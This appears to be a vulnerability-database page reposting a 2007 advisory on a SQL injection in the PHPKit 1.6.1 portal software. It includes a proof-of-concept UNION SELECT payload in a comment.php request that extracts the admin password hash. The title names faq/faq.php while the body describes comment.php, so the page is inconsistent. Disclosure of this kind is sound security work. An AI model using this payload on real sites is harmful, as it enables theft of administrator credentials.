PHPKit 1.6.1 RC2 (faq/faq.php) Remote SQL Injection Exploit

Credit: yorn
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Pretty much the same, but for completeness... ;-) QL Injection in PHPkit 1.6.1 R2 ================================ Discovered on 09.01.2007 by yorn. Description: ------------ PHPkit is a php/sql based portal software. Problem: -------- SQL Injection: There are multiple SQL injections in PHPkit. Just check bugtraq. I think that this is a "new" one, so here we go: The "Gstebuch" is prone to a sql injection vulnerablility in comment.php. It is possible to gain access to the admin password hash: POC: comment.php&comcat=gb&subid=-1'%20UNION%20SELECT%201,1,1,1,1,1,user_pw,1 %20from%20PHPKIT_USER_TABLE%20where%20%20user_id=1/* Vendor Status: -------------- Vendor has been informed on the date of discovery. Not patched yet.

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top